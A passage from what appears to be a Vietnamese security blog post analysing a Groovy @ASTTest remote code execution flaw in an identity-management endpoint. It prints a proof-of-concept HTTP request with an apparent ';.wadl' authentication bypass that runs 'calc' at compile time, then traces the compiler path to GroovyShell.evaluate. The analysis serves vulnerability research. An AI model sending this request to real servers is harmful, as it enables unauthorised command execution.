https://substackcdn.com/image/fetch/$s_!3y0C!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F78b0c772-f546-467d-9b94-8d8df8945a2e_1007x269.png 1272w, https://substackcdn.com/image/fetch/$s_!3y0C!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F78b0c772-f546-467d-9b94-8d8df8945a2e_1007x269.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!3y0C!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F78b0c772-f546-467d-9b94-8d8df8945a2e_1007x269.png" width="1007" height="269" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/78b0c772-f546-467d-9b94-8d8df8945a2e_1007x269.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:269,&quot;width&quot;:1007,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:&quot;https://groovy-lang.org/metaprogramming.html#xform-ASTTest&quot;,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!3y0C!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F78b0c772-f546-467d-9b94-8d8df8945a2e_1007x269.png 424w, https://substackcdn.com/image/fetch/$s_!3y0C!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F78b0c772-f546-467d-9b94-8d8df8945a2e_1007x269.png 848w, https://substackcdn.com/image/fetch/$s_!3y0C!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F78b0c772-f546-467d-9b94-8d8df8945a2e_1007x269.png 1272w, https://substackcdn.com/image/fetch/$s_!3y0C!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F78b0c772-f546-467d-9b94-8d8df8945a2e_1007x269.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Ta c&#243; th&#7875; ch&#232;n tr&#7921;c ti&#7871;p m&#7897;t &#273;o&#7841;n closure v&#224;o annotation, v&#224; Groovy s&#7869; th&#7921;c thi closure &#273;&#243; trong qu&#225; tr&#236;nh bi&#234;n d&#7883;ch t&#7841;i compile phase <code>Semantic Analysis</code>.</p><h3><strong>Debugging</strong></h3><p>Quay tr&#7903; l&#7841;i v&#7899;i bug c&#7911;a ch&#250;ng ta, sau khi truy&#7873;n v&#224;o endpoint <code>groovyscriptstatus</code> m&#7897;t &#273;o&#7841;n script groovy v&#7899;i 1 annotation nh&#432; d&#432;&#7899;i:</p><pre><code><code>POST /iam/governance/applicationmanagement/api/v1/applications/groovyscriptstatus;.wadl HTTP/1.1
Host: 192.168.127.176:14000
Content-Type: application/json
Content-Length: 333

import groovy.transform.ASTTest
import org.codehaus.groovy.control.CompilePhase

class Demo {
    @ASTTest(phase = CompilePhase.SEMANTIC_ANALYSIS, value = {
        try {
            java.lang.Runtime.getRuntime().exec(&#8221;calc&#8221;)
        } catch (Exception e) {}
    })
    static void main(String[] args) {}
}

Demo.main()
</code></code></pre><p>script s&#7869; &#273;&#432;&#7907;c &#273;em &#273;i validate b&#7857;ng c&#225;ch parse th&#224;nh Groovy Code Source r&#7891;i compile:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!PnQb!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F80741f4c-6ee5-4e62-83dc-6c6eb386bd9e_820x283.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!PnQb!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F80741f4c-6ee5-4e62-83dc-6c6eb386bd9e_820x283.png 424w, https://substackcdn.com/image/fetch/$s_!PnQb!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F80741f4c-6ee5-4e62-83dc-6c6eb386bd9e_820x283.png 848w, https://substackcdn.com/image/fetch/$s_!PnQb!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F80741f4c-6ee5-4e62-83dc-6c6eb386bd9e_820x283.png 1272w, https://substackcdn.com/image/fetch/$s_!PnQb!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F80741f4c-6ee5-4e62-83dc-6c6eb386bd9e_820x283.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!PnQb!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F80741f4c-6ee5-4e62-83dc-6c6eb386bd9e_820x283.png" width="820" height="283" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/80741f4c-6ee5-4e62-83dc-6c6eb386bd9e_820x283.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:283,&quot;width&quot;:820,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!PnQb!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F80741f4c-6ee5-4e62-83dc-6c6eb386bd9e_820x283.png 424w, https://substackcdn.com/image/fetch/$s_!PnQb!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F80741f4c-6ee5-4e62-83dc-6c6eb386bd9e_820x283.png 848w, https://substackcdn.com/image/fetch/$s_!PnQb!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F80741f4c-6ee5-4e62-83dc-6c6eb386bd9e_820x283.png 1272w, https://substackcdn.com/image/fetch/$s_!PnQb!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F80741f4c-6ee5-4e62-83dc-6c6eb386bd9e_820x283.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg role="img" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><title></title><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!TmJJ!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5792baad-2855-48b4-82a0-bac272a17521_715x167.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!TmJJ!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5792baad-2855-48b4-82a0-bac272a17521_715x167.png 424w, https://substackcdn.com/image/fetch/$s_!TmJJ!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5792baad-2855-48b4-82a0-bac272a17521_715x167.png 848w, https://substackcdn.com/image/fetch/$s_!TmJJ!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5792baad-2855-48b4-82a0-bac272a17521_715x167.png 1272w, https://substackcdn.com/image/fetch/$s_!TmJJ!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5792baad-2855-48b4-82a0-bac272a17521_715x167.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!TmJJ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5792baad-2855-48b4-82a0-bac272a17521_715x167.png" width="715" height="167" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/5792baad-2855-48b4-82a0-bac272a17521_715x167.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:167,&quot;width&quot;:715,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:&quot;center&quot;,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!TmJJ!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5792baad-2855-48b4-82a0-bac272a17521_715x167.png 424w, https://substackcdn.com/image/fetch/$s_!TmJJ!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5792baad-2855-48b4-82a0-bac272a17521_715x167.png 848w, https://substackcdn.com/image/fetch/$s_!TmJJ!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5792baad-2855-48b4-82a0-bac272a17521_715x167.png 1272w, https://substackcdn.com/image/fetch/$s_!TmJJ!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5792baad-2855-48b4-82a0-bac272a17521_715x167.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!itkS!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8342d3f6-a4c9-437a-80be-a6fbc7e74dc0_600x97.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!itkS!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8342d3f6-a4c9-437a-80be-a6fbc7e74dc0_600x97.png 424w, https://substackcdn.com/image/fetch/$s_!itkS!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8342d3f6-a4c9-437a-80be-a6fbc7e74dc0_600x97.png 848w, https://substackcdn.com/image/fetch/$s_!itkS!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8342d3f6-a4c9-437a-80be-a6fbc7e74dc0_600x97.png 1272w, https://substackcdn.com/image/fetch/$s_!itkS!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8342d3f6-a4c9-437a-80be-a6fbc7e74dc0_600x97.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!itkS!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8342d3f6-a4c9-437a-80be-a6fbc7e74dc0_600x97.png" width="600" height="97" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/8342d3f6-a4c9-437a-80be-a6fbc7e74dc0_600x97.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:97,&quot;width&quot;:600,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:&quot;center&quot;,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!itkS!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8342d3f6-a4c9-437a-80be-a6fbc7e74dc0_600x97.png 424w, https://substackcdn.com/image/fetch/$s_!itkS!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8342d3f6-a4c9-437a-80be-a6fbc7e74dc0_600x97.png 848w, https://substackcdn.com/image/fetch/$s_!itkS!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8342d3f6-a4c9-437a-80be-a6fbc7e74dc0_600x97.png 1272w, https://substackcdn.com/image/fetch/$s_!itkS!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F8342d3f6-a4c9-437a-80be-a6fbc7e74dc0_600x97.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!wEdA!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd2180017-b245-4ed6-9b42-c18f07dca4d9_906x182.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!wEdA!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd2180017-b245-4ed6-9b42-c18f07dca4d9_906x182.png 424w, https://substackcdn.com/image/fetch/$s_!wEdA!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd2180017-b245-4ed6-9b42-c18f07dca4d9_906x182.png 848w, https://substackcdn.com/image/fetch/$s_!wEdA!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd2180017-b245-4ed6-9b42-c18f07dca4d9_906x182.png 1272w, https://substackcdn.com/image/fetch/$s_!wEdA!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd2180017-b245-4ed6-9b42-c18f07dca4d9_906x182.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!wEdA!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd2180017-b245-4ed6-9b42-c18f07dca4d9_906x182.png" width="906" height="182" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/d2180017-b245-4ed6-9b42-c18f07dca4d9_906x182.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:182,&quot;width&quot;:906,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:&quot;&quot;,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:&quot;center&quot;,&quot;offset&quot;:false}" class="sizing-normal" alt="" title="" srcset="https://substackcdn.com/image/fetch/$s_!wEdA!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd2180017-b245-4ed6-9b42-c18f07dca4d9_906x182.png 424w, https://substackcdn.com/image/fetch/$s_!wEdA!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd2180017-b245-4ed6-9b42-c18f07dca4d9_906x182.png 848w, https://substackcdn.com/image/fetch/$s_!wEdA!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd2180017-b245-4ed6-9b42-c18f07dca4d9_906x182.png 1272w, https://substackcdn.com/image/fetch/$s_!wEdA!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fd2180017-b245-4ed6-9b42-c18f07dca4d9_906x182.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><p>t&#7915; &#273;&#226;y ti&#7871;p t&#7909;c g&#7885;i t&#7899;i <code>GroovyClassLoader.doParseClass()</code> &#273;&#7875; ti&#7871;n h&#224;nh compile:</p><pre><code><code>private Class doParseClass(GroovyCodeSource codeSource) {
        validate(codeSource);
        CompilationUnit unit = this.createCompilationUnit(this.config, codeSource.getCodeSource()); //[4]

        SourceUnit su = null;
        File file = codeSource.getFile();
        if (file != null) {
            su = unit.addSource(file);
        } else {
            URL url = codeSource.getURL();
            if (url != null) {
                su = unit.addSource(url);
            } else {
                su = unit.addSource(codeSource.getName(), codeSource.getScriptText()); // add source
            }
        }

        ClassCollector collector = this.createCollector(unit, su);
        unit.setClassgenCallback(collector);
        int goalPhase = 7;
        if (this.config != null &amp;&amp; this.config.getTargetDirectory() != null) {
            goalPhase = 8;
        }

        unit.compile(goalPhase); // [5]
        // REDACTED

    }
</code></code></pre><p>t&#7841;i [4] l&#250;c n&#224;y Groovy s&#7869; kh&#7903;i t&#7841;o m&#7897;t <code>CompilationUnit</code> object (&#273;&#226;y ch&#237;nh l&#224; compiler) sau &#273;&#243; s&#7869; add ph&#7847;n code source tr&#432;&#7899;c &#273;&#243; &#273;&#227; &#273;&#432;&#7907;c parse r&#7891;i g&#7885;i t&#7899;i [5] &#273;&#7875; ti&#7871;n h&#224;nh compile.</p><p><code>CompilatationUnit.compile()</code> ch&#237;nh l&#224; n&#417;i Groovy th&#7921;c hi&#7879;n pipeline compile c&#7911;a m&#236;nh:</p><pre><code><code>public void compile(int throughPhase) throws CompilationFailedException {
    this.gotoPhase(1);
    throughPhase = Math.min(throughPhase, 9);

    while(throughPhase &gt;= this.phase &amp;&amp; this.phase &lt;= 9) {
        if (this.phase == 4) {
            this.doPhaseOperation(this.resolve);
            if (this.dequeued()) {
                continue;
            }
        }

        this.processPhaseOperations(this.phase);
        this.processNewPhaseOperations(this.phase);
        if (this.progressCallback != null) {
            this.progressCallback.call(this, this.phase); //ASTTestTransformation$1.call()
        }

        this.completePhase();
        this.applyToSourceUnits(this.mark);
        if (!this.dequeued()) {
            this.gotoPhase(this.phase + 1);
            if (this.phase == 7) {
                this.sortClasses();
            }
        }
    }

    this.errorCollector.failIfErrors();
}
</code></code></pre><p>L&#250;c n&#224;y compiler s&#7869; ch&#7841;y tu&#7847;n t&#7921; qua t&#7915;ng Compile Phase b&#7855;t &#273;&#7847;u t&#7915; phase 1 (INITIALIZATION) sau &#273;&#243; s&#7869; l&#7847;n l&#432;&#7907;t qua t&#7915;ng phase v&#224; th&#7921;c hi&#7879;n operation t&#432;&#417;ng &#7913;ng. T&#7841;i phase 4 (SEMANTIC_ANALYSIS), compiler g&#7885;i <code>resolve</code> v&#224; th&#7921;c thi to&#224;n b&#7897; AST Transformations &#273;&#227; &#273;&#432;&#7907;c set b&#7857;ng c&#225;ch g&#7885;i t&#7899;i <code>progressCallback.call</code> hay <code>ASTTestTransformation$1.call()</code></p><pre><code><code>public void call(ProcessingUnit context, int phaseRef) {
    CallSite[] var3 = $getCallSiteArray();
    // REDACTED
    if (BytecodeInterface8.isOrigInt() &amp;&amp; BytecodeInterface8.isOrigZ() &amp;&amp; !__$stMC &amp;&amp; !BytecodeInterface8.disabledStandardMetaClass()) {
        if (ScriptBytecodeAdapter.compareEqual(phase.get(), (Object)null) || ScriptBytecodeAdapter.compareEqual(phaseRef, var3[48].callGetProperty(phase.get()))) {
            //REDACTED
            Object testSource = var3[58].call(sbx, var3[59].call(var3[60].callGetProperty(testClosurex), 1), var3[61].call(sbx));
            Object var23 = var3[62].call(testSource, 0, var3[63].call(testSource, &#8220;}&#8221;));
            testSource = var23;
            CompilerConfiguration config = (CompilerConfiguration)ScriptBytecodeAdapter.castToType(var3[64].callConstructor(CompilerConfiguration.class), CompilerConfiguration.class);
            Reference customizer = new Reference(var3[65].callConstructor(ImportCustomizer.class));
            var3[66].call(config, customizer.get());
            Object var26 = source.get();
            var3[67].call(this.binding, &#8220;sourceUnit&#8221;, var26);
            Object var27 = BytecodeInterface8.objectArrayGet((ASTNode[])ScriptBytecodeAdapter.castToType(nodes.get(), ASTNode[].class), 1);
            var3[68].call(this.binding, &#8220;node&#8221;, var27);
            Object var28 = var3[69].call(var3[70].callConstructor(MethodClosure.class, LabelFinder.class, &#8220;lookup&#8221;), BytecodeInterface8.objectArrayGet((ASTNode[])ScriptBytecodeAdapter.castToType(nodes.get(), ASTNode[].class), 1));
            var3[71].call(this.binding, &#8220;lookup&#8221;, var28);
            Object var29 = var3[72].callGroovyObjectGetProperty(this);
            var3[73].call(this.binding, &#8220;compilationUnit&#8221;, var29);
            Object var30 = var3[74].call(CompilePhase.class, phaseRef);
            var3[75].call(this.binding, &#8220;compilePhase&#8221;, var30);
            GroovyShell shell = (GroovyShell)ScriptBytecodeAdapter.castToType(var3[76].callConstructor(GroovyShell.class, this.binding, config), GroovyShell.class);
            var3[77].call(var3[78].callGetProperty(var3[79].callGetProperty(source.get())), new _call_closure2(this, this, customizer));
            var3[80].call(var3[81].callGetProperty(var3[82].callGetProperty(source.get())), new _call_closure3(this, this, customizer));
            var3[83].call(var3[84].callGetProperty(var3[85].callGetProperty(source.get())), new _call_closure4(this, this, customizer));
            var3[86].call(var3[87].callGetProperty(var3[88].callGetProperty(source.get())), new _call_closure5(this, this, customizer));
            var3[89].call(shell, testSource);
        }
    } 
          //REDACTED
    }

}
</code></code></pre><p><code>ASTTestTransformation</code> l&#7845;y ClosureExpression t&#7915; annotation @ASTTest r&#7891;i l&#432;&#7907;c b&#7887; ch&#7881; c&#242;n:</p><pre><code><code>        try {
            java.lang.Runtime.getRuntime().exec(&#8221;calc&#8221;)
        } catch (Exception e) {}
</code></code></pre><p>v&#224; cu&#7889;i c&#249;ng g&#7885;i t&#7899;i <code>GroovyShell.evaluate()</code> &#273;&#7875; th&#7921;c thi &#273;o&#7841;n m&#227; tr&#234;n:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!Xemx!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4cdc3f3d-bdca-4999-9a19-b6112d064e8f_1174x355.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!Xemx!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4cdc3f3d-bdca-4999-9a19-b6112d064e8f_1174x355.png 424w, https://substackcdn.com/image/fetch/$s_!Xemx!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4cdc3f3d-bdca-4999-9a19-b6112d064e8f_1174x355.png 848w, https://substackcdn.com/image/fetch/$s_!Xemx!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4cdc3f3d-bdca-4999-9a19-b6112d064e8f_1174x355.png 1272w, https://substackcdn.com/image/fetch/$s_!Xemx!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4cdc3f3d-bdca-4999-9a19-b6112d064e8f_1174x355.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!Xemx!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4cdc3f3d-bdca-4999-9a19-b6112d064e8f_1174x355.png" width="1174" height="355" 